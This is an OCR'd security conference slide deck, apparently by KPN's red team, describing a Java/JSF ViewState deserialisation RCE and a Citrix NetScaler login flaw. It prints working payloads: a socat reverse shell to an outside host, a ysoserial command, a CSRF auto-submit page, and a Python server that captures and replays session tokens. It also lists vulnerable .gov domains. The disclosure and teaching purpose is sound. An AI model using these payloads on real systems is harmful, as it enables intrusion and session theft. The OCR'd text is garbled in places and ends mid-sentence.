-‘(9 kpn

Hacking KPN: Lessons from
the trenches
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Agenda

Who we are

What we're talking about
Deep-dive
End/barehBeer time ©
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Who we are

Royal Dutch Telecom (KPN) based in Amsterdam, The Netherlands

Bouke van Laethem

Senior Pentester with KPN REDteam
Pentesting since 2007

Enjoys archery

The first rule of crossfit: Did | mention | do
crossfit?

Jeremy Goldstein

Team Lead of the KPN REDteam
Pentesting since 2005

Likes computers

Likes beer
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What we do
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Where we do 1
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Oh, and we're hiring ;-)
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KPN CISO

To be reliable, secure and trusted by
customers, partners and society

7/ 142



-‘(9 kpn

KPN CISO

My shizzles, lets stop that fucking
shit from happening again!”

" KPN got hacked in 2012
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STRATPOL
Maintain the KPN Security Policy

(github.com/KPN-CISO/kpn-security-policy)

(Did we mention they're hiring?)
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STRATPOL

https://itunes.apple.com/us/app/kpn-ciso/id112222

KPN CISO View More by This Developer
By KPN Consulting

Open iTunes to buy and download apps

Description

This app enables you to draft your own security policy, o make a statement about the severity of vulnerabiliies in software, and
the potential damage of a security incident.

KPN CISO Support ¥ ...More

iPad Screenshots

wrem Toox - Caree ®

KSP Documents

Free

Category: Business

Released: Jun 20, 2016

Version: 1.0

Size: 33.8 MB

Language: English

Seller: KPN Corporate Market B.V.
@ KPNB.V.

Rated 4+

Compatibility: Requires i0OS 8.1 or
later. Compatible with iPad.

Customer Ratings

We have not received enough
rafings to display an average for
the current version of this

application
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https://itunes.apple.com/us/app/kpn-ciso/id1122223795

f’@ kpn

REDteam

Penetration testing/ Redteaming

) KPN-CISO

Yy @ SectorC

& redteamsays.no

(Did we mention we're hiring?)
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KPN-CERT

Incidents, forensics, threat intel

(Responsible disclosures: cert@kpn-cert.nl)

(Did we mention they're hiring as well?)
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Senior Security Officers

CISO ad-interim consultancy

Intimidate vendors/ third parties
into delivering secure services

(You guessed it: they're hiring!)
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What we're talking about

Discuss 3 interesting (and different)
vulnerabilities discovered during KPN pentests

Touch on how we handle security at KPN

Talk about lessons we've learned from finding
these vulnerabilities
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Java Deserialisation
Really? There?!?1?

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
(10.0)
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Short history of
Java Deserialisation bugs

Been around for a long time

In early 2015 Gabriel Lawrence (@gebl) and Chris Frohoff (@frohoff)
presented '"Marshalling Pickels'

Released ysoserial

In late 2015 FoxGloveSecurity released exploits for multiple Java projects
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Background
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What we tested

Useless Data:

This line of data is both meaningless
and uninsteresting

More data that isn't helpful or useful

@BigCIoudProviderWhoShouldKnowBeﬁ’er 2015
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Which was actually this

original-page. html

HTML PUBLIC ML 4.0 ransitional/ tt fwWww . w3 .0r tm oose.dtd"><
i J 'Apache My
rel=" sTvlesheeT”
"dl" onl :
,penEllor ‘A popup window blocker has been detected in your browser. Popup blockers
pplication. Please disable your popup blocker or allow popups from Tth
ascript" s

“Tor”>cf ><
3S[ILpT '>TrPage. fr Busting( fferentOrigin”
>< abled btowset Your browser is not
ipt enabled.< 1" name y =
submi
contentl

regxontd
1deen n

please enable ]aVaS(llpt in your browser.</
143/analytics/ =
>
s erT” tt - .com: nalytic

nalyt

alytics : I common/

H Line 1, Column 1 : 4 HTML
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That was pretty boring but...

7 01VE
<input type="hidden" name="urq.auache.mvf;ces.trinidaﬂ.faces.FDRH" W
<input type="hidden" nams='y. — >
<input type="hidden" name=1{]@Vax.faces.ViewState
e="Hys TAAA R AR R A R IVTWweNE T 2w T or 20 CLiiv LA anhoboo o oo JARpMZmZ K3 TOoj
GlolawsS7xE/J+dogqtEVgP LGgODFLi3BEgMI SgPvUV/ iBtchosB8y5Ugh/ togoat WGADLO O/
3IVE8=s/dAglAOoCY9lneéwIUTalxSELAyg/ peTpwEZYisulNSrGhE+g 7t OFPwlz4unTVaTmz 19305 U
FgBqMaUivEYf0aiRQa3iCdocVawYHEDofsnLzC/ vEVecENE3I ZFXEZWEJCh/ IhelLS2T+H1 70
SHOhYToEWaPiSe+/ e0GorVE zWEQLo 1 ThIVEViNeCOyEBx sFrFEqQLESBDE4ZIUCSIAAI TW TSV
vW0cepCLEZwcUEr ZAB1 7t wGILPORLIFEBRGEqYunhEE 1GItIpJUDLLCSyOL z+wPEfz4dx/ G
LEvZugwlgCOIgeWzHAJeHugadomEnzORL LI/ X7RS+EMETpDicR081l/0akTpiCEL£ToLAHU
<gcript type="text/javascript"=function _filValidator(f,s) {return va
“sCript type="textfjavascript"}_suhmitFnrmEheck(];{fscript}
< f B

"Created by Apache Trinidad (Apache MyFaces Trinidad API|, ... ..

tml=
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That led us to

http://www.synacktiv.com/ressources/JSF ViewState InYourFace.pdf

1o SYNACKTIV

BB DIGITAL SECURITY

M JSF ViewState upside-down

JSF implementations are often used in J2EE applications. JSF uses
ViewStates which have already been discussed for cryptographic
weaknesses like with the oracle padding attack [PADDING]. ViewStates
have also been abused to create client side attacks like Cross-Site
Scripting [XSS]. But as shown in this research, they can also be used to
perform much more dangerous attacks on web applications.
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http://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf

fG: kpn

Which included... RCE!

¥{request.getClass().getClassLoader().loadClass('java.lang.Runtime"').getDeclaredMethods()
[6]-1nvoke(null).exec( 'socat TCP-CONNECT :pentest.synacktiv.com:80
exec:/bin/sh,pty,stderr,setsid,sigint,sane')
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@ kpn

Which included... RCE!

¥{request.getClass().getClassLoader().loadClass('java.lang.Runtime"').getDeclaredMethods()
[6]-1nvoke(null).exec( 'socat TCP-CONNECT :pentest.synacktiv.com:80
exec:/bin/sh,pty,stderr,setsid,sigint,sane')

5> ./inyourface.sh -rawpatch 441 465 /tmp/payload.txt -outfile /tmp/patched.txt
/tmp/viewstate.txt
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Which included... RCE!

${request.getClass().getClassLoader().loadClass('java.lang.Runtime').getDeclaredMethods ()
[6].1invoke(null).exec('socat TCP-CONNECT:pentest.synacktiv.com:80
exec:/bin/sh,pty,stderr,setsid,sigint,sane")

5> ./inyourface.sh -rawpatch 441 465 /tmp/payload.txt -outfile /tmp/patched.txt
/tmp/viewstate.txt

[instance 0x7e000f: 0x7e000e/org.apache.el.ValueExpressionImpl
s offset: 387 / e offset: 655
object annotations:
org.apache.el.ValueExpressionImpl
[blockdata from 441 to 652: 210 bytes]
raw: ‘\xd2\x00\xzbe\x23[...]\2e \xdf \x62\x6a \x65\x63\xT74
from 442 to 632: 190 bytes:
# {request.getClass().getClassLoader().loadClass('java.lang.Runtime').getDeclaredMethods ()
[6]-invoke(null).exec('socat TCP-CONNECT :pentest.synacktiv.com:80
exec: /bin/sh,pty,stderr,setsid,sigint,sane')}
from 634 to 650: 16 bytes: java.lang.Object

field data:
0x7e000c/javax.el.Expression:
0x72000b/javax.el.ValueExpression:
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Profit!

5> ne -vlp 4444
Listening on [0.0.0.0] (family 0, port 4444)

Connection from [victim.com] port 80 [tcp/*] accepted (family 2, sport 35627)
/bin/sh: 0: can't access tty; job control turned off

$ id

id

uid=1008 (tomcat) gid=1008(tomcat)
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@ kpn

Profit!

5> ne -vlp 4444
Listening on [0.0.0.0] (family 0, port 4444)

Connection from [victim.com] port 80 [tcp/*] accepted (family 2, sport 35627)
/bin/sh: 0: can't access tty; job control turned off

$ id

id

uid=1008 (tomcat) gid=1008(tomcat)

o
%

memegenerag
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Not so fast

1G0T 99
PROBLEMS

?JM';W

ANDITHE BINARY FORMAT OF
PRYLOADITKT-IS ONLY ONE OF
THEM nnnnnn genera tor.net
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Solutions

1. Submitting the form

<input type="submit" value="ClickMe">
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Solutions

1. Submitting the form

<input type="submit" value="ClickMe">

2. Finding a ValueExpressionimpl object

There happened to be three!

$ ./inyourface.sh viewstate.txt | grep ValueExpressionImpl
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Solutions

3. Formatting payload.txt

QOffset(h) 00 Ol 0OZ O3 04 05 0g O7Y 08 0S OA OB OC OD OE OF

00000000 j.”#{request.get
oooooo10 Class () .getClass
oooooozZao Loader () .loadCls
00000030 s (' java. lang. By
00000040 5 mtime') .getlecly
0o0o0ooso 63 redMethods () [£] .
0ooo0o0o0eg0 B invoke (null) .exs
oooooo7o 73 o 'n2lookup pwng
0oooooosza Bl d.bla. lEWXrwxE WX
0oooooso 27 com') . .jJava. 1
000000OAD ng . Chijec

ffset: 1 |Block: 1-A8 Length: A8 | | Overwrite

\xA8(total_size)
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Solutions

3. Formatting payload.txt

QOffset(h) 00 Ol OZ O3 04 05 0g O7 08 05 OA OB OC OD OE OF

00000000 "L “Blrequest.geq
ooooool1o kgl [Class() .getClass
oooooozZao M [Loader().loadCls
00000030 = [Esi'Java. lang.PRy
00000040 b Ml mtime').getDecly
0o00o0oaso 5 7. ) redMethods () [€] .
0oooooeg0 B £ @ |invoke inull) .exs
oooooo7o 3 7 3 o 'nslookup pwng
oooooosa 2 C &1 7 s |d.bla. lryxXrwxr v
0oooooso 3 F ) 27 1 .com') }..Jjava.la
0DO0OD0ODOAD  EE &7 ZE 4F EZ EBA B5 B3 74 ng.Zhject

fset: 3 |Block: 3-96 |Length: 34 | | Overwrite

\xA8(total size) + \x00 + \x94(object_size) + #{request.getClass...
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Solutions

3. Formatting payload.txt

QOffset (h) 00 Ol1 OZ O3 04 05 0g O7 08 0% OA OB OC OD OE OF

oooooooao TLY#{request.get
oooooo1o Class () .getClass
oooooozao Loader () .loadCla
00000030 ss('Jjava. lang.PFu
0ooooo40 ntime') .gethecla
0oo0oaso redMethods () [£] .
0000000 invoke (null) .exe
0ooooo7vo ci'nslookup pwne
oooooosao d.bla. lryXrwxrvx
ooooooso .cum']}..Eava.la
D000000OAD bg.Objecg

Fset 99 | Block: 99-A3 | Length: 10 | | Overwrite

\xA8(total_size) + \x00 + \x94(object_size) + #{request.getClass... + \x00 +

\x10(object_type size) + java.lang.Object
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Put it all together

$ ./inyourface.sh -rawpatch 1570 1643 payload.txt viewstate.txt \

-outfile pwned-viewstate.txt
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Put it all together

$ ./inyourface.sh -rawpatch 1570 1643 payload.txt viewstate.txt \

-outfile pwned-viewstate.txt

- Post the pwned-viewstate.txt as
javax.faces.ViewState postdata
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Put it all together

$ ./inyourface.sh -rawpatch 1570 1643 payload.txt viewstate.txt \

-outfile pwned-viewstate.txt

- Post the pwned-viewstate.txt as
javax.faces.ViewState postdata

- And...
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What next?

viewstate.txt
'UCOH-EF%S%ﬂTﬂTiGHﬁngSE file viewstate.decoded
' version 5
/logss

nl

|hr.H'Td es Tr1n1|
|dadinternal.appl|
1.1T10n Structur|
........... Xr..|
.lang.0Object|

xpt. |

.comp |

'IEHEGGT|

1d ctrulw. |

N N g

=] LN

Straight up Java Deserialisation exploit
Frohoff and Lawrence style

32 /142



@kpn
Again Problems

&
f

The L' inmyluck has been
replacedwithan'F.
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"9 times out of 10 you don't
get out of the cloud"”
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$ java -jar ysoserial-0.0.3-all.jar CommonsCollectionsl \

"'nslookup bigcloudproviderwhoshouldknowbetter.bla.lrwxrwxrwx.com's payload.out \
&& gzip -f payload.out && base64 -w 0 payload.out.gz \

| perl -MURI::Escape -ne 'print uri_escape($S )’
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$ java -jar ysoserial-0.0.3-all.jar CommonsCollectionsl \

"'nslookup bigcloudproviderwhoshouldknowbetter.bla.lrwxrwxrwx.com's payload.out \
&& gzip -f payload.out && base64 -w 0 payload.out.gz \

| perl -MURI::Escape -ne 'print uri_escape($S )’

H4sICHgsilcAA3BheWxvYWQub3VOAIVUTUWTQRR%2BLVQEJILQ1ognBkB1jEt01xgOhBOQSpE1BokiIvTh
tp%2B3C7sw609tuQUNOIACVHGqIF%2BWAJO9HEePZgPJi1IkuhFwOINjIpoogf jUWd2S9mKfzRN%2B9p53z
ff%2B97bt%2FQZQhaDI5ZNFIaz0k5zBRFCOeIaJUpfNYyTAk270SA1GR2zM0%2B%2Bte5YnrkVhGACthn
YSGE2hnQbWxxaExOogFSba7o6hMxYAup5ycQcIt6Bjkh07deRZcUcO70IAAFokSeKhCgC4jDY6f4hU6vK
Rhh1Sm%2F2rXY%2BDfcvByGQgECew14faSVT3SBXXnQeZgBEtV2U5RRkonQek21qGIRY4 LuXQE3GB jKVB
JoqCR3kXfnyjVK4XCcva8iiNKesx0OFgQlCoHoVaoVB9F000Q8TKUMZ4NzPo%2BcedWZtIbkvpzyON4IyP
4PDj%2BU%2F7p%2BbrRcFJaNF8J8LqQ8nNSbFZBfI3MX7Ig7Gur6%2B07roeBHBMOSk5LrH%2FLkb84oh
wH%2BF4YS7SF7xXdtvXqK1lcIj62ngyNSG4hNwCg8j6HIyyCdcMDOuvzXkrp2ISM5%2Ba2Q8%2FJqcvrH
QHoS4J1a2P5YSn25MbpSSgWRVCPESZzw8 jAtWpPc6aRXCwpUkYQQ8aomHVBEO3%2BZtqF%2FXV6r6QK%2F
dzK%2BM2wdUBfcznIoSmHeaVgAYr6QR7Z7baXd5efna12Bjg0CoynOpbDv1lsyCQvD61BP68KXXxe6p2P3j
LrTgprpPR5sLa5cwsxoK312a69yfSLO1atrikrZXSH%2BpuelLXnRdj7z92TI9YOx%2FgOEssndJJ2%2Bx
MabmOTu2MyWhBy2BWzFMrT209MO LoMYU5x0xJ6YKQFR3VLVVPoR470F3VGZDBHLdFXxKoZpTjh0IdZ903C
4vdLs6L%2FgTiECNJ%2FOTWLDdtysV1ZutbRXH59tSq1SuYurEFk5cWyCDWsPnzUdu55HQQHOEmNKDPgL
ow4NPI8wOK%2FnnHM3mOeR8Wt41PsuuUI06M%2BOwWuYMVFOjaGyhp6fKgEfGK8FAAA%3D
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root@kermit:~# nc -vulp 53

listening on [any] 53 ...

:||||l-' 1' Tll [.-_l:. ---:-] Trom

= - - ] j-||“1 10w II-'ttE"-::I L d
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What happened next?
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& WHATEVER
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What happened next?

— S L

& WHATEVER

Fix it or no money
a k e All CVSS > 4 and policy violations must be
p n fixed before go live
e Your timetable is far too slow, it needs to be
fixed sooner or we walk
e You must be retested to prove the
vulnerabilities are fixed
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Lessons Learned

- Pentest your suppliers... no matter
how big or 'secure’ they say they are

- These kind of vulnerabilities can
crop up anywhere!

- Appropriately placed persistence

- When something looks interesting
follow all avenues
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@'kpn
A new tool!

e Ok, an update to an existing tool, but still...

 Java Deserialization Burp Plugin fork - https://github.com/KPN-CISO/Java-

Deserialization-Scanner

o Will hopefully merge into Frederico Dotta's BApp store version

?}‘v

TOOL'S EUEHYWHEHE
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https://github.com/KPN-CISO/Java-Deserialization-Scanner

< kpn

Citrix NetScaler A3buse
Vulnerability Disclosure

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
8.1
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What we tested

Project using Google Glass™

-y Virgin Airlines
“ H:K Flight 23
' = » 10:31 4
iy On Time «

>FO
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What we tested

... and Citrix NetScaler

CITRIX" NetScaler Gateway

Welcome to KPN Example

Please log on to continue.
User name:
Password :

SecurelD:

Weicome to example.kpn.com,
If you don't see all the login fields, please press F5 or choose the refresh button in

your Web Browser.
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What is a Citrix® NetScaler?
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5(? kpn
What is a Citrix® NetScaler?

Optimize, secure.. control ...
enterpri se..cloud services

performance, rehablllty securlty
..evolve...

mobi le ((((((((((((((((( .application
delivery controller o
e FASTEST, SAfE st
C1tr1x NetScaler .. ADC eeeeeeeeeeeeeeeeeeeeeeeeeeeee
,,,,,,,,,,,,, Tr15cale N\ob1leStream
..smart flex1ble secure design

sssssssssssssssssssssssssssssssssssssssssssssssss
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@'kpn
What is a Citrix® NetScaler?

BINGO!
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What is a Citrix® NetScaler?

application
delivery controller

48 / 142



f’@ kpn

NetScaler AAA process

The NetScaler has a build in Authentication,
Authorization and Auditing functionality.

49/ 142



5(? kpn

NetScaler AAA process

It's a simple process...
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NetScaler AAA process

147 ° @ .
009 > 1~e | Authentication

Server
NetScaler

Authentication Traffic B0E3 | aoen
Vitual Server IManagement y

13 Virtual Semwver
;HI‘: j
_ 'H‘-- l
2
w

Application

Servers _:‘:EE“

d

pa

" N ] — 54 | »

€ € >

Auth Vserver Traffic Ti Vsewver Traffic

51/ 142



NetScaler AAA process

Was this helpful? QYes QNo
Feedback

CiTRIX
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NetScaler AAA process

Don't worry, we'll talk you through the
relevant parts.
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@kpn
NetScaler AAA process

Traffic Management
Virtual Server

ffsa.kpn.com

CiTRIX

NetSca:Ier

ffsa backend

Client

Authentication
Virtual Server
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NetScaler AAA process

Go to the portal.

GET / HTTP/1.1

Host: ffsa.kpn.com
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@ kpn
NetScaler AAA process

Go to the portal.

/\G ET/
ffsa.kpn.com

Client a3as-asd.kpn.com ffsa backend

|
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NetScaler AAA process

The NetScaler prepares the client for login.

HTTP/1.1 200 OK
Set-Cookie: NSC_TASS=xyz;Path=/;expires= [..] ;Secure
Set-Cookie: NSC_TMAP=xyz;Path=/;expires= [..] ;Secure

post"

enctype="application/x-www-form-urlencoded*
<input type=hidden name=1loc value="aHROcHM6LyImZnNhLmtwbi5jb20v'>
<input type=hidden name=1localdate value="">

loc.value=aHROcHM6LY9mZnNhLmtwb15jb20v =
loc.value=https://ffsa.kpn.com/
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https://ffsa.kpn.com/

£ kpn

NetScaler AAA process

The NetScaler prepares the client for login.

f\ ﬁ:sa.kpn-com %

Client a3as-asd.kpn.com ffsa backend

|
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NetScaler AAA process

The client sets the AAA domain.

POST /cgi/tm HTTP/1.1
Host: a3as-asd.kpn.com

loc=aHROcHM6LYy9mZnNhLmtwb15jb20v&localdate=1432299594.558

loc=HROCHM6LY9MZNNhLmtwbi5jb20v =
loc=https://ffsa.kpn.com/
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https://ffsa.kpn.com/

£ kpn

NetScaler AAA process

The client sets the AAA domain.

ffsa.kpn.com

Client a3as-asd.kpn.com ffsa backend
\/ POST /cgi/tm

|
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NetScaler AAA process

NetScaler redirects with NSC TASS cookie.

HTTP/1.1 302 Object Moved

: /vpn/tmindex.html

NSC_TASS=aHROcHM6LYy9mZnNhLmtwbi5jb20v =
NSC_TASS=https://ffsa.kpn.com/

61/ 142


https://ffsa.kpn.com/

£ kpn

NetScaler AAA process

NetScaler redirects with NSC TASS cookie.

Client\/ a3as-asd.kpn.com ffsa backend
302

/vpn/tmindex.html

ffsa.kpn.com

|
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@ kpn

NetScaler AAA process

From the vpn/tmindex.html page the customer
logs in.
POST /cgi/login HTTP/1.1

Host: a3as-asd.kpn.com
Cookie: NSC TASS=aHROcHM6Ly9mZnNhLmtwbi5jb20v;

login=kpnredteam&passwd=%28%41%27%72%6c%79%3f%29&passwd1=733728

Cookie: NSC_TASS=aHROcHM6Ly9mZnNhLmtwbi5jb20v =
Cookie: NSC_TASS=https://ffsa.kpn.com/
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https://ffsa.kpn.com/

e@ kpn

NetScaler AAA process

From the vpn/tmindex.html page the customer
logs in.

ffsa.kpn.com

Client a3as-asd.kpn.com ffsa backend
\/ NSC_TASS=aHRO...
POST /cgi/login

|
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NetScaler AAA process

The NetScaler mediates a final time.

HTTP/1.1 200 OK
Set-Cookie: NSC_TASS=xyz;Path=/;expires=[..];Secure
Set-Cookie: NSC_TMAP=xyz;Path=/;expires=huan09-Nov-1999 [..];Secure

<form actlon—"https //ffsa kpn. com/cgl/selfauth"method-"post"

<input type=hidden name=tmaa value—”7f764df7528b3e137ad3c2602d591bed
<input type=hidden name=tmas value="e3843f0b3835cba6f36348ad9d6de21e™
<input type=hidden name=htonly value="yes">
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@ kpn

NetScaler AAA process

The NetScaler mediates a final time.

ffsa.kpn.com

CliU a3as-asd.kpn.com ffsa backend

form action="ffsa.kpn.com/cgi/selfauth™

|
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NetScaler AAA process

The browser posts the AAA cookies and
settings to the NetScaler.

POST /cgi/selfauth HTTP/1.1

Host: ffsa.kpn.com

loc=https%3A%2F%2Fffsa.kpn.com%2F

&tmaa=7f764df7528b3e137ad3c2602d591bed
&tmas=e3843f0b3835cbabf36348ad9d6de21e
&htonly=yes

&localdate=1432303097.224
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£ kpn

NetScaler AAA process

The browser posts the AAA cookies and
settings to the NetScaler.

POST /cgi/selfauth

/\ ffsa.kpn.com

Client a3as-asd.kpn.com ffsa backend
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NetScaler AAA process

The NetScaler sets the AAA cookies.

HTTP/1.1 302 Object Moved
Location: https://ffsa.kpn.com

Set-Cookie: NSC_TMAA=7f764df7528b3e137ad3c2602d591bed;Path=/;Domain=kpn.com
Set-Cookie: NSC_TMAS=e3843f0b3835cba6f36348ad9d6éde21e;Secure;Path=/;Domain=kpn.com
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NetScaler AAA process

The NetScaler sets the AAA cookies.

302

Location: https://ffsa.kpn.com/
NSC_TMAA=

NSC T:Ai&/

ffsa.kpn.com

Z

Client a3as-asd.kpn.com ffsa backend
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NetScaler AAA process

After which the user has access to the
website(s) behind the NetScaler.

GET / HTTP/1.1

Host: ffsa.kpn.com

Cookie: NSC_TMAA=7f764df7528b3e137ad3c2602d591bed;
NSC_TMAS=e3843f0b3835cba6f36348ad9d6de21e

HTTP/1.1 302 Found

Location: /Account/Login?ReturnUrl=%2f
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET

<h2>0bject moved to<a href="/Account/Login?ReturnUrl=%2f'>here</a></h2>
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NetScaler AAA process

After which the user has access to the
website(s) behind the NetScaler.

GET/
Host: ffsa.kpn.com

/ﬂ

Client a3as-asd.kpn.com ffsa backend

> ffsa.kpn.com
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The problem

"The client sets the AAA domain”

"The browser posts the AAA cookies and
settings to the NetScaler”
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The problem

Never let a client do a server's work.

Vulnerability allows us steal AAA cookies.
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NetScaler login vulnerability

First we lure a user to a page.

GET /csrf.htm HTTP/1.1

Host: 54.171.120.79
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NetScaler login vulnerability

First we lure a user to a page.

ffsa.kpn.com

Client a3as-asd.kpn.com ffsa backend

GET /csrf.htm

54.171.120.79

76/ 142



NetScaler login vulnerability

Which redirects them to a real login page.

<html>

<head>

<title>NetScaler redirect bug</title>

</head>

<body>

<form id="csrfform' action='https://a3as-asd.kpn.com/cgi/tm' method="'POST'>
<input type='hidden' name='loc' value='aHROcHM6LY81NCAXNzEUMTIwLjc5Lw==" />
<input type='hidden' name='localdate' value='1435652887.666"' />

<input type='submit' value='Submit request' />

</form>

</body>

<script type='text/javascript's
document.getElementById('csrfform').submit();

</script>

</html>

loc.value=aHROCHM6LY8INCAXNZEUMTIwLjc5Lw =
loc.value=https://54.171.120.79/
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@ kpn
NetScaler login vulnerability

Which redirects them to a real login page.

ffsa.kpn.com

— ﬂ
Client Q&Bas-asd.kpn.com ffsa backend

form
action=https://a3as-asd.kpn.com/cgi/tm
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NetScaler login vulnerability

The browser complies.

POST /cgi/tm HTTP/1.1
Host: a3as-asd.kpn.com

loc=aHROCHM6LY81NC4AXxNzEUMTIwL jc5Lw%3D%3D&localdate=1435652887.666

loc=aHROCHM6LY81INC4XNzEUMTIwL jc5Lw%3D%3D =
loc=https://54.171.120.79/
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e@ kpn
NetScaler login vulnerability

The browser complies.

ffsa.kpn.com

Client a3as asd.kpn.com ffsa backend
POST /cgi/tm =
loc=<myloc>

54.171.120.79
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NetScaler login vulnerability

NetScaler redirects with our NSC TASS cookie.

HTTP/1.1 302 Object Moved
Location: /vpn/tmindex.html
Set-Cookie: NSC_TASS=aHROcHM6LY81NCAXNzEUMTIwLjc5Lw%3D%3D;Path=/;Secure

<html>

<body>

<span i1d="This object may be found '></span>
<@ href="/vpn/tmindex.html">

<span id="here"></span></a>

Set-Cookie: NSC_TASS=aHROcHM6LY8INC4AxNzEUMTIwLjc5Lw%3D%3D
Set-Cookie: NSC_TASS=https://54.171.120.79/
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@ kpn
NetScaler login vulnerability

NetScaler redirects with our NSC TASS cookie.

ffsa.kpn.com

_!
Client a3as-asd.kpn.com ffsa backend

302 =

/vpn/tmindex.html

54.171.120.79
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NetScaler login vulnerability

The user logs in ...

POST /cgi/login HTTP/1.1

Host: a3as-asd.kpn.com

Referer: https://a3as-asd.kpn.com/vpn/tmindex.html
Cookie: NSC_TASS=aHROcHM6LY81NCAXNzEUMTIwLjc5Lw%3D%3D;

login=redteam&passwd=%28%4f%27%72%6c%79%3f%29&passwd1=868307

(with our NSC TASS cookie)

NSC_TASS=aHROCHM6LY81NC4xNzEuMTIwL jc5Lw%3D%3 =
NSC_TASS=https://54.171.120.79/
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@ kpn
NetScaler login vulnerability

The user logs in with our cookie

ffsa.kpn.com

Client a3as asd.kpn.com ffsa backend

POST /cgi/login —

Cookie: NSC_TASS=
<myloc> 54.171.120.79
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NetScaler login vulnerability

The NetScaler thinks it redirects a final time...

Set-Cookie: NSC_TASS=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure
Set-Cookie: NSC_TMAP=xyz;Path=/;expires=Wednesday, 09-Nov-1999 23:12:40 GMT;Secure

<html>

<body onload='document.forms[0].submit();

<form action="https://54.171.120.79/cgi/selfauth" method="post"
enctype="application/x-www-form-urlencoded'*

<input type=hidden name=1loc value="https://54.171.120.79/'>

<input type=hidden name=tmaa value="cfd0586e4e586409fdleca6f8767974a'>
<input type=hidden name=tmas value="1bc13fd31c221333418cdbebae7962da’>
<input type=hidden name=1localdate value="">

<input id="Continue" type="submit" value="Continue">

</body>

</html>
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NetScaler login vulnerability

The NetScaler thinks it redirects a final time...

form
action=https://54.171.120.79/cqgi/selfauth

ffsa.kpn.com

\—l" ﬂ

Client a3as-asd.kpn.com ffsa backend

54.171.120.79
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NetScaler login vulnerability

Meanwhile, on a system we control ...
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from bottle import route, run, request

@route('/cgi/selfauth', method='POST'

def selfauth():

tmaa = request.forms.get('tmaa")

tmas = request.forms.get('tmas")

htonly = request.forms.get("htonly")
localdate = request.forms.get('localdate")
ref = request.headers.get('Referer")

print("referer:

+ ref, "tmaa:

+ tmaa, "tmas:" + tmas,

"htonly:" + htonly, "localdate:" + localdate, sep="\n")

return

<html><head><body><form id=csrfform' action='https: . . cgi/selfauth'
method='POST'><input type='hidden' name='loc' value='https://ffsa.kpn.com/' />

<input type='hidden'
<input type='hidden'
<input type='hidden'
<input type='hidden'
<input type='submit'

name='tmaa' value='{tmaa}' />
name='tmas' value='{tmas}' />
name='htonly' value='{htonly}' />
name='localdate' value='{localdate}' />
value='Submit request' />

</form> </body> <script type='text/javascript'>
document.getElementById('csrfform').submit();</script> </body> </html>
""" format(tmaa=tmaa, tmas=tmas, htonly=htonly, localdate=localdate)
run(host='0.0.0.0', port=80, debug=False)
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NetScaler login vulnerability

The client POSTs the AAA tokens

POST /cgi/selfauth
Host: 54.171.120.79

ffsa.kpn.com

| ﬂ

Client a3as-asd.kpn.com ffsa backend

54.171.120.79
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NetScaler login vulnerability

Gotchal!

sudo ./app.py 2>/dev/null

referer:https://a3as-asd.kpn.com/cgi/login

tmaa:cfd0586e4e586409fdleca6f8767974a
tmas:1bc13fd31c221333418cdbebae7962da
htonly:yes

localdate:1435653040.73
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NetScaler login vulnerability

The attacker then "helps" the client

<html><head><body><form id='csrfform' action="https://ffsa.kpn. com/cgl/selfauth'
method='POST '><input t -e-'hldden name='loc' value='https:
<input type='hidden' name='tmaa' value=' cfd0586e4e586409fd1eca6f8767974a />
<input type='hidden' name='tmas' value='1bc13fd31c221333418cdbebae7962da’' />

<input type='hidden' name='htonly' value='yes' />

<input type='hidden' name='localdate' value='1435653040.73"' />

<input type='submit' value='Submit request' />

</form> </body> <script type='text/javascript's
document.getElementById('csrfform').submit();</script> </body> </html>
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NetScaler login vulnerability

The browser neatly POSTs to the real
/cqi/selfauth page.

POST /cgi/selfauth HTTP/1.1
Host: ffsa.kpn.com

loc=https%3A%2F%2Fffsa.kpn.com%2F

&tmaa=cfd0586e4e586409fdlecabf8767974a
&tmas=1bc13fd31c221333418cdbebae7962da
&htonly=yes

&localdate=1435653040.73
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NetScaler login vulnerability

The browser neatly POSTs to the real
/cqi/selfauth page.

POST /cgi/selfauth
Host: ffsa.kpn.com

/f ffsa.kpn.com

Client a3as-asd.kpn.com ffsa backend

54.171.120.79
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NetScaler login vulnerability

And when the customer logs in, so do we.

HTTP/1.1 Object Moved
Location: https://ffsa.kpn.com/

Set-Cookie: NSC_TMAA=cfd0586e4e586409fdleca6f8767974a;Domain=ffsa.kpn.com
Set-Cookie: NSC_TMAS=1bc13fd31c221333418cdbebae7962da;Secure;Domain=ffsa.kpn.com
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NetScaler login vulnerability
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Impact

A quick scan using shodan data to trigger the
NSC TASS cookie response

S wc -1 vulns.tsv
6725 vulns.tsv

$ awk '{print $2}' wvuln.tsv|rev|cut -d'.' -
sort|rev|uniq -c|sort -nr|head -20|column -

1732 com 84 de 40 gov
617 net 56 uk 40 be
125 org 56 edu 36 se
102 au 40 nl 32 ca
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NetScaler login vulnerability

okay, one more for the lulz

$ grep -o '[[:alnum:]]*.gov$' vuln.tsv|sort -u|column -c80

alaska.gov fairfaxcounty.gov occ.gov
arkansas.gov fl.gov sba.gov
attorneygeneral.gov Mo .gov Sc.gov

azland.gov mt.gov swpa.gov
ca.gov ncdot.gov treasury.gov
cdc.gov nga.gov usda.gov
Ccsosa.gov nih.gov usdoj.gov
dhs.gov nyc.gov
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Lessons Learned

Elisabeth Kubler-Ross &

David Kessler

On Death and Dying, 1969
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The 5 Stages: Denial

"The NetScaler is not part of my*) project. You
cannot block our go-live because of problems
with that thing."

*) "my" = KPN project manager
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The 5 Stages: Anger

FFFFFFF

FFFFFFF
FFFFFF
FFFUU
UUUU
UUUU
UUUU
UUUU

UUUU-

"You guys”) figure out how to solve this! Why

was | forced to use something that is
broken?!"

*) "You guys" = The KPN REDteam and KPN-CERT together with the provider
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The 5 Stages: Bargaining

"The NetScaler issue is known to us™). Our?)
solution would be to place another NetScaler
in front to mitigate the problem."

*) "us" = secure@citrix.com
+) "our" = vendor
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The 5 Stages: Depression

)

——

"The project got cancelled, | guess so did the
NetScaler" /"I don't know who maintains the
environment" / "Perhaps you should ask

[anyone but me]" / "We can't seem to find the
certificates" / "I don't think we can help you" /

"It was very hard to set up and maintain" /

"Didn't that project get cancelled?” 102/ 142
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The 5 Stages: Acceptance

We"*) are currently [...] addressing this issue in
all current versions of NetScaler and we hope
to have the fixes ready before [...] the issue

will be publicly announced. Thank you [...] for
